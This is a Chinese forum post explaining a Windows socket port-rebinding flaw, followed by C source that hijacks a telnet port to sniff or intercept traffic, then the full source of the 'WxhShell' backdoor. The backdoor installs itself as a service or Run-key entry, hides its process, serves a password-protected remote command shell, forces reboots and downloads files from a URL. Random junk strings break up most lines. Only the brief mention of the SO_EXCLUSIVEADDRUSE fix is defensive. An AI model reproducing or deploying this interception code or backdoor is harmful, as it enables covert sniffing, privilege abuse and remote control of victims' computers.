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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  8U-<Q>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bxww1NG>|Z  
sQ82(N7l  
  saddr.sin_family = AF_INET; {1vlz>82  
q0_Pl*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wH qbTA  
YtT:\#D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rf2-owWN  
`?(9Bl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $0;Dk,  
1FRpcE  
  这意味着什么?意味着可以进行如下的攻击:  Y}Nd2  
?uE@C3 e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1ZfhDtK(  
@IBU{{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1,sD'iNb  
@0%^\Qf2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TUR2|J@n  
2{-'`l fM%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y]%Io]!d  
!*B1Eo--cN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]1KF3$n0  
4--[.j*W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sHMZ'9b  
H|B4.z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :YN,cId*  
%R*-oQ1T  
  #include yLCJSN$7  
  #include 9jt+PII  
  #include ^@xn3zJ  
  #include    9iOTT%pq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j1P#({z[  
  int main() 7cT ~u  
  { _O>8jH!#  
  WORD wVersionRequested; dmE.yVI"O  
  DWORD ret; ?(j:F2dU~  
  WSADATA wsaData; r(/+- t  
  BOOL val; Lc13PTz>>g  
  SOCKADDR_IN saddr; oyo V1jO  
  SOCKADDR_IN scaddr; Z|$OPMLX  
  int err; UxVxnJ_  
  SOCKET s; 25jgM!QBXF  
  SOCKET sc; X\LiV{c  
  int caddsize; q{oppali  
  HANDLE mt; \MFjb IL  
  DWORD tid;   W&0KO-}ot  
  wVersionRequested = MAKEWORD( 2, 2 ); {vAv ;m  
  err = WSAStartup( wVersionRequested, &wsaData ); o51jw(wO  
  if ( err != 0 ) { EEO)b_(  
  printf("error!WSAStartup failed!\n"); g%f6D%d)A  
  return -1; <>6DPHg~  
  } 6J%yo[A(w  
  saddr.sin_family = AF_INET; [>U =P`  
   NYp46;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3n=ftkI  
.uu[MzMIu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XSz)$9~hk  
  saddr.sin_port = htons(23); -85W/%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xsdi\ j;n>  
  { '#@tovr  
  printf("error!socket failed!\n"); qFYM2  
  return -1; H~r":A'"*  
  } Lkl ^ `  
  val = TRUE; $23dcC*hI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $|bdeQPr\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :Z5Twb3h  
  { ^N:bT;;$nZ  
  printf("error!setsockopt failed!\n"); Q !G^CG  
  return -1; E >lW'  
  } d;O4)8 >  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =-|,v*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O4fl$egQU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8P3"$2q  
5]yby"Z?}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) whvvc2  
  { eUE(vn#  
  ret=GetLastError(); '?MT " G  
  printf("error!bind failed!\n"); V`XtGTx  
  return -1; +LsACSB  
  } JE.s?k  
  listen(s,2); {pyTiz#JY  
  while(1) B`<K]ut  
  { &F#K=R| .j  
  caddsize = sizeof(scaddr); x C+TO  
  //接受连接请求 6E@qZvQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &a bR}J[  
  if(sc!=INVALID_SOCKET) 79O'S du@  
  { VgyY7INx9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <m X EX`?  
  if(mt==NULL) =S:Snk%  
  { B(h%>mT[  
  printf("Thread Creat Failed!\n"); TdWatvY5p  
  break; ,@4~:OY  
  } \RDS~u\d  
  } k]9v${Ke  
  CloseHandle(mt); 'WQ?%da  
  } #:LI,t  
  closesocket(s); | )M>;q   
  WSACleanup(); o6T'U#7P  
  return 0; _?QVc0S!  
  }   #9ZHt5T=$  
  DWORD WINAPI ClientThread(LPVOID lpParam) M=Cl|  
  { =/SBZLR(9  
  SOCKET ss = (SOCKET)lpParam; S{#L7S  
  SOCKET sc; DA wUG  
  unsigned char buf[4096]; dcbE<W#ss  
  SOCKADDR_IN saddr; Y~[k_!  
  long num; 5Gw B1}q  
  DWORD val; pa8R;A70Dl  
  DWORD ret; HS >B\Ip"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N>Q~WXvV#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^(on"3sG  
  saddr.sin_family = AF_INET; !b4v}70,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~duF2m 72  
  saddr.sin_port = htons(23); -h8@B+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y0_z_S#gO  
  { r!e:sJAB.  
  printf("error!socket failed!\n"); e> -fI_+b  
  return -1; h"$)[k~  
  } Z(:q.{"r  
  val = 100; {k8R6l1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~D\zz }l  
  { hxe X6  
  ret = GetLastError(); e .1! K  
  return -1; ! n13B  
  } xka&,`z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,zVS}!jRhy  
  { ]m<z  
  ret = GetLastError(); 5e}adHjM  
  return -1; q)PLc{NO  
  } ^LAnR>mz^r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &Xh_`*]ox  
  { &.1qixXIr  
  printf("error!socket connect failed!\n"); N/6! |F  
  closesocket(sc); ^Cy=L]  
  closesocket(ss); <kOdd)X  
  return -1; PQJw"[N/YM  
  } &5d~ODO  
  while(1) ;(r,;S_`0  
  { 6%L#FSI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !j%MN{#a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^bk:g}o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fv$oXg/  
  num = recv(ss,buf,4096,0); BHNEP |=  
  if(num>0) MmQ"z_v  
  send(sc,buf,num,0); k$3Iv"gbx  
  else if(num==0) Cm%|hk>fQ  
  break; </]a`h]  
  num = recv(sc,buf,4096,0); #sM`>KG6T1  
  if(num>0) uF<}zFS  
  send(ss,buf,num,0); x@#aOf4<U  
  else if(num==0) zw[ #B #  
  break; xVN(It7g  
  } fR>"d<;T  
  closesocket(ss); ]e6$ ={  
  closesocket(sc); Q4ZKgcC  
  return 0 ; 8@,8j!$8G  
  } s((c@)M  
}?^]-`b  
d}Xb8SaE%c  
========================================================== pc2;2^U_  
-BcnJK0  
下边附上一个代码,,WXhSHELL q1pB~eg5  
 OEnCN  
========================================================== 7Fzj&!>ti  
~CuJ$(9Y  
#include "stdafx.h" Te2 C<c  
wA\a ]X.  
#include <stdio.h> D6,Ol4d  
#include <string.h> kX%vTl7F  
#include <windows.h> /tj_WO_  
#include <winsock2.h> bXi(]5  
#include <winsvc.h> 8_/,`}9   
#include <urlmon.h> @Nn'G{8OG  
%>- ?oor  
#pragma comment (lib, "Ws2_32.lib") H5Bh?mw2  
#pragma comment (lib, "urlmon.lib") RA1K$D ?A  
RQYD#4|  
#define MAX_USER   100 // 最大客户端连接数 o1R:1!"2  
#define BUF_SOCK   200 // sock buffer c2Wp 8l  
#define KEY_BUFF   255 // 输入 buffer sB8v:  
MO@XbPZB  
#define REBOOT     0   // 重启 {Y|?~ha#  
#define SHUTDOWN   1   // 关机 u0F{.fe  
MO%+rf0~w  
#define DEF_PORT   5000 // 监听端口 w8cbhc  
089v; d 6  
#define REG_LEN     16   // 注册表键长度 mO2u9?N  
#define SVC_LEN     80   // NT服务名长度 _ %G;^ b  
]Z?jo#F  
// 从dll定义API .z[#j]k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S!66t?vHB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E V@yJ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I,W `s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wOg#J  
'| p"HbJ  
// wxhshell配置信息 vj9'5]!~q  
struct WSCFG { @,m 7%,  
  int ws_port;         // 监听端口 EY^?@D_<  
  char ws_passstr[REG_LEN]; // 口令 $8}'h  
  int ws_autoins;       // 安装标记, 1=yes 0=no gg/2R?O]  
  char ws_regname[REG_LEN]; // 注册表键名 rvuasr~  
  char ws_svcname[REG_LEN]; // 服务名 =q}Z2 OoYh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rj3ad3z'E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u#UtPF7q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .uSVZqJ7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?x/Lb*a^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Va[t'%~&zR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 liMw(F2  
QmMA]Q  
}; X?o6=)SC|  
5mX^{V&^  
// default Wxhshell configuration ZCuoYE$g  
struct WSCFG wscfg={DEF_PORT, TE: |w Xe  
    "xuhuanlingzhe", kB.CeG]tk  
    1, k$GtzjN  
    "Wxhshell", 2~R%_r+<  
    "Wxhshell", 5Q\ hd*+g  
            "WxhShell Service", (TU/EU5  
    "Wrsky Windows CmdShell Service", 3L36 2  
    "Please Input Your Password: ", !v8](UI8-  
  1, B=~uJUr  
  "http://www.wrsky.com/wxhshell.exe", =b, m3 1  
  "Wxhshell.exe" 0g9y4z{H  
    }; Xk!wT2;  
>qBJK)LHOv  
// 消息定义模块 -]t>'Q?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9/_~YY=/h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hb/8X !=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nk;^sq4M:  
char *msg_ws_ext="\n\rExit."; iBwM]Eyv.  
char *msg_ws_end="\n\rQuit."; r uIgoB  
char *msg_ws_boot="\n\rReboot..."; Xzl$Qc  
char *msg_ws_poff="\n\rShutdown..."; Ym.{ {^=  
char *msg_ws_down="\n\rSave to "; {eVv%sbq  
gJ~CD1`O  
char *msg_ws_err="\n\rErr!"; #r/5!*3  
char *msg_ws_ok="\n\rOK!"; h_]*|[g  
s bd$.6 |&  
char ExeFile[MAX_PATH]; djqw5kO:R  
int nUser = 0; |*^}e54  
HANDLE handles[MAX_USER]; G[6i\Et   
int OsIsNt; 7Ck3L6J#  
ZQ>Q=eCs 1  
SERVICE_STATUS       serviceStatus; X]o"4#CQIX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a?xZsR  
BwrX.!M  
// 函数声明 n5z|@I`S_  
int Install(void); 5WvsS( 9H  
int Uninstall(void); )7p(htCz5  
int DownloadFile(char *sURL, SOCKET wsh); 'j-U=2,n  
int Boot(int flag); jYvl-2A'  
void HideProc(void); mZG n:f}=  
int GetOsVer(void); 4;Vi@(G)  
int Wxhshell(SOCKET wsl); vCXmu_S4^>  
void TalkWithClient(void *cs); j^WYM r,  
int CmdShell(SOCKET sock); J~n|5* cz  
int StartFromService(void); W23Q>x&S  
int StartWxhshell(LPSTR lpCmdLine); [jksOC)@4  
TV#>x!5!d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T Y% =Y=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B3pjli  
_z J /z  
// 数据结构和表定义 _90<*{bt.  
SERVICE_TABLE_ENTRY DispatchTable[] = `<kB/T  
{ O8cZl1C3  
{wscfg.ws_svcname, NTServiceMain}, @|5B}%!  
{NULL, NULL} ioEjbqD<  
}; ?^2nrh,n+  
q!W=U8`  
// 自我安装 3y,2RernK  
int Install(void) {3.n!7+  
{ o)>iHzR</  
  char svExeFile[MAX_PATH]; UNK.39  
  HKEY key; g5RH:]DV  
  strcpy(svExeFile,ExeFile); qWx{eRp d  
q#SEtyJL  
// 如果是win9x系统,修改注册表设为自启动 3=^)=yOd  
if(!OsIsNt) { C"$~w3A k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;mRZ_^V;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oe|8  
  RegCloseKey(key); b(CO7/e>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xcn~KF8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $VB dd~f  
  RegCloseKey(key); dwQ1~  
  return 0; )2#&l  
    } "LJV}L  
  } SF9NS*mr  
} q"6$#o{~U  
else { IUDH"~f  
5423Ky<  
// 如果是NT以上系统,安装为系统服务  wlsx|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;^u,[d  
if (schSCManager!=0) _C (fz CK  
{ :U *8S\$  
  SC_HANDLE schService = CreateService n#}~/\P6  
  ( k14<E /  
  schSCManager, F" M  
  wscfg.ws_svcname, 4w#2m>.  
  wscfg.ws_svcdisp, p2k`)=iX  
  SERVICE_ALL_ACCESS, "}#%h&,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \*'@F+  
  SERVICE_AUTO_START, Kn<+Au_]L  
  SERVICE_ERROR_NORMAL, a DXaQ  
  svExeFile, O!^ >YvOh  
  NULL, KeRC8mYp  
  NULL, ?qi~8.<w  
  NULL, K~2sX>l  
  NULL, j*[P\Cm  
  NULL /zb/ am1#  
  ); (z.n9lkfi  
  if (schService!=0) ZNM9@;7  
  { G;iH.rCH  
  CloseServiceHandle(schService); TET=>6  
  CloseServiceHandle(schSCManager); W$2 \GPJt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2K{'F1"RM  
  strcat(svExeFile,wscfg.ws_svcname); _x1W\#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~, E }^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l U8pX$  
  RegCloseKey(key); LMx/0  
  return 0; $v[mIR  
    } S89j:KRXH%  
  } %p$XK(6  
  CloseServiceHandle(schSCManager); vd(S&&]o1  
} *S"RU~1_  
} dP(.l}O  
%8h=_(X\7  
return 1;  <7SE|  
} I.G[|[. Do  
zi3v, Kq  
// 自我卸载 iETUBZ  
int Uninstall(void) X7AxI\h  
{ WcoA)we  
  HKEY key; ACi,$Uq6R  
hczDu8  
if(!OsIsNt) { P+ CdqOL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Hq3]LVE  
  RegDeleteValue(key,wscfg.ws_regname); Ez"*',(  
  RegCloseKey(key); Y]KHCY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (,jsZ!sl  
  RegDeleteValue(key,wscfg.ws_regname); n6.Z{Q'b  
  RegCloseKey(key); :" Otsb7  
  return 0; F'OO{nF  
  } o $W@@aM  
} ( H&HSs  
} %8|lAMTY7/  
else { -gk2$P-  
TukhGgmF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); li v=q  
if (schSCManager!=0) CHZ/@gc  
{ <5}I6R;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @'):rFr@F  
  if (schService!=0) 3<"j/9;K'  
  { @&`^#pok  
  if(DeleteService(schService)!=0) { O ylUuYy~j  
  CloseServiceHandle(schService); i&^JG/a  
  CloseServiceHandle(schSCManager); {Ji&rk}NP  
  return 0; )B"{B1(  
  } d'ZB{'[8p  
  CloseServiceHandle(schService); /;d 5p  
  } x {Utf$|  
  CloseServiceHandle(schSCManager);  nOd;Zw  
} XHj%U  
} M!5=3>Z  
X-fWdoN @-  
return 1; J$42*SY  
} f=}T^Z<  
O/FI>RT\H  
// 从指定url下载文件 [j5+PV  
int DownloadFile(char *sURL, SOCKET wsh) NK/y,f6  
{ Yj>4*C9  
  HRESULT hr; 6H: fg  
char seps[]= "/"; B>>_t2IU  
char *token; !reOYt|  
char *file; Hzm_o>^KC  
char myURL[MAX_PATH]; Uq_lT,  
char myFILE[MAX_PATH]; iKV|~7nwO  
YVa,?&i=N  
strcpy(myURL,sURL); w(aj'i  
  token=strtok(myURL,seps); L(K 5f7\  
  while(token!=NULL) R&;x_4dr^  
  { 5I1YB+$}e  
    file=token; nRB3VsL  
  token=strtok(NULL,seps);  R*2N\2  
  } JxwKTFU'3O  
!J<Xel {  
GetCurrentDirectory(MAX_PATH,myFILE); 21tv(x  
strcat(myFILE, "\\"); KYw7Jx`l  
strcat(myFILE, file);  iY$iL<  
  send(wsh,myFILE,strlen(myFILE),0); E56  
send(wsh,"...",3,0); 6'kQ(r>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0$c(<+D  
  if(hr==S_OK) ut\ X{.r7  
return 0; B!,&{[D  
else Nv.  
return 1; (wq8[1Wzup  
poW%Fzj  
} d]E={}qo&  
;YY<KuT  
// 系统电源模块 YR0AI l:L  
int Boot(int flag) jY%.t)>)  
{ au+Jz_$)  
  HANDLE hToken; A :KZyd"Z  
  TOKEN_PRIVILEGES tkp; )Cj1VjAg  
=TNFAt  
  if(OsIsNt) { HM0&%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WwTl|wgvyI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M>m!\bb%.  
    tkp.PrivilegeCount = 1; [pEb`s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ()Kaxcs?+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `r-Jy{!y4  
if(flag==REBOOT) { v JGH8$%;,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) anpKW a  
  return 0; C F','gPnc  
} t?-a JU  
else { r'#!w3*Cy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O.X;w<F/V  
  return 0; ;@ixrj0u  
} rZpsC}C'  
  } 0j4n1 1#  
  else { A|1xK90^XT  
if(flag==REBOOT) { KCbJ^Rln  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >'q]ypA1  
  return 0; L-E?1qhP>  
} qx1Js3%  
else { j>;1jzr2}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -ak. wwx\  
  return 0; *9r(lmrfj  
} kP[fhOpn  
} }"WovU{*s  
(_ :82@c  
return 1; *j]Bo,AC  
} x3FB`3y~s  
WvT H+  
// win9x进程隐藏模块 $t^Td<  
void HideProc(void) Ewr2popK  
{ kI!@J6  
~!mY0odH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v{|y,h&]a  
  if ( hKernel != NULL ) CSoVB[vS  
  { ww7nQ}H5(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rQ_cH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z(Uz<*h8  
    FreeLibrary(hKernel); iOEBjj;C  
  } :3R3 >o6m  
O>h h  
return; 0lniu=xmQ-  
} ~D}fy  
C}<e3BXc  
// 获取操作系统版本 /D^ g"  
int GetOsVer(void) v\8v'EDP  
{ }]dzY(   
  OSVERSIONINFO winfo; ~ L%,9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /v<Gt%3X  
  GetVersionEx(&winfo); FO[ s;dmzu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iOhX\@&  
  return 1; 8(Ptse  ,  
  else V6d,}Z+"z'  
  return 0; >f Hu  
} 6l2O>V  
QQN6\(;-  
// 客户端句柄模块 Wd!Z`,R  
int Wxhshell(SOCKET wsl) +ug2p;<B  
{ k=kkF"  
  SOCKET wsh; =s*c(>  
  struct sockaddr_in client; )K]p^lO  
  DWORD myID; wAW{{ p  
8r"-3<*  
  while(nUser<MAX_USER) w/ZP. B  
{ r*mSnPz\q  
  int nSize=sizeof(client); H1q,w|O9j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;:oJFI#;  
  if(wsh==INVALID_SOCKET) return 1; {`*Fu/Upb  
~"\v(\Pe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q'3tDc<  
if(handles[nUser]==0) Z]{=Jy !F  
  closesocket(wsh); mDp8JNJNE  
else  U&  
  nUser++; ._j?1Fw`  
  } |P& \C8h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G#`  
fW=<bf  
  return 0; >)NS U  
} cy? #LS  
=2( 52#pT  
// 关闭 socket GY@:[u.&  
void CloseIt(SOCKET wsh) ;AVIt!(L~V  
{ LU8[$.P  
closesocket(wsh); tMP"9JE,  
nUser--; 5c}loOq  
ExitThread(0); o-&0_Zq_  
} YR/I<m`]}  
QX}JQ<8  
// 客户端请求句柄 (U$;0`  
void TalkWithClient(void *cs) /%7&De6Xg  
{ 7D>_<)%d=  
9 5j`^M)Q  
  SOCKET wsh=(SOCKET)cs; <3j`Z1J  
  char pwd[SVC_LEN]; #b)`as?!1  
  char cmd[KEY_BUFF]; M~`^deU1  
char chr[1]; IIGx+>  
int i,j; \Ezcr=0z{j  
3rHn?  
  while (nUser < MAX_USER) { ' e!WZvr  
M6A0D+08  
if(wscfg.ws_passstr) { tmBt[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iyR"O1]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9dAtQwGR"6  
  //ZeroMemory(pwd,KEY_BUFF); `S-%}eUv  
      i=0; +!ljq~%  
  while(i<SVC_LEN) { M,kO7g  
b?,%M^9\`  
  // 设置超时 ..BP-N)V)  
  fd_set FdRead; 3HcduJntl  
  struct timeval TimeOut; noz1W ]  
  FD_ZERO(&FdRead); Y d~J(  
  FD_SET(wsh,&FdRead); #ucb  
  TimeOut.tv_sec=8; jy>?+hm?  
  TimeOut.tv_usec=0; 8b-mW>xsA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }:$ot18  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NySa%7@CD  
#U w X~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :r "G Z  
  pwd=chr[0]; ;-"q;&1e  
  if(chr[0]==0xd || chr[0]==0xa) { [lSQMoi3  
  pwd=0; fdwP@6eh  
  break; +G"YQq'b  
  } |w#~v%w  
  i++; QT!>izgc U  
    } v{"yrC  
 R:Ih#2R  
  // 如果是非法用户,关闭 socket F1-C8V2H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u&TXN;I,p  
} t54?<-  
2,g4yXws5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .:Sk=r4u\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @VG@|BQWa  
tq'ri-c&b  
while(1) { 2cIbX  
1 \aTA,  
  ZeroMemory(cmd,KEY_BUFF); dXM8iP  
PrfG  
      // 自动支持客户端 telnet标准   ;34p [RT  
  j=0; yVXVHCB  
  while(j<KEY_BUFF) { P{QHG 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z1 ($9hE>  
  cmd[j]=chr[0]; Z.Dg=>G]  
  if(chr[0]==0xa || chr[0]==0xd) { #XqCz>Z  
  cmd[j]=0; UA~ 4O Q]  
  break; aMHC+R1X  
  } eYlI};  
  j++; +zLw%WD[l  
    } lEHXh2  
;&}z L.!jo  
  // 下载文件 KDP47A  
  if(strstr(cmd,"http://")) { :HY =^$\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xw_)~Y%\  
  if(DownloadFile(cmd,wsh)) (4ZO[Ae  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  -K8F$\W  
  else o^"OKHU,S0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |sFd5X  
  } @+p(%  
  else { f.aa@>  
#Oj yUQ,  
    switch(cmd[0]) { { 29aNm  
  /#@tv~Z^  
  // 帮助 j[w=pF,o  
  case '?': { ?Y8hy|`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -gt ?5H h  
    break; oyk&]'>  
  } .b<W*4{j0H  
  // 安装 :wg=H  
  case 'i': { 0#uB[N  
    if(Install()) Qhc; Zl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J#i7'9g  
    else ErJ@$&7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BV7P_!vt  
    break; X2% (=B  
    } W1)<!nwA  
  // 卸载 W+"^!p|  
  case 'r': { 0MxK+8\y  
    if(Uninstall()) YtWw)IK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !plu;w  
    else OQ wO7Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O_.!qk1R  
    break; OyK#Rm2A=  
    } eu_ZsseZ  
  // 显示 wxhshell 所在路径 ]sVWQj  
  case 'p': { I"lzOD; eI  
    char svExeFile[MAX_PATH]; 8{i}^.p  
    strcpy(svExeFile,"\n\r"); ?r8hl.Z>  
      strcat(svExeFile,ExeFile); X?< L<:.  
        send(wsh,svExeFile,strlen(svExeFile),0); Qyx~={ .C~  
    break; @b^$h:H  
    } lic-68T  
  // 重启 HOPy&Fp  
  case 'b': { x@bqPZ t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r[;d.3jtP  
    if(Boot(REBOOT)) X;)/<:mX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yx4pQL7  
    else { Pz:,de~5Qm  
    closesocket(wsh); Q#qfuwz  
    ExitThread(0); yOKzw~;0%  
    } VzHrKI  
    break; zYY]+)k?  
    } G?XA",AC  
  // 关机 Mb\(52`)Q  
  case 'd': { <Y1 Plc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GtZ.' ?-  
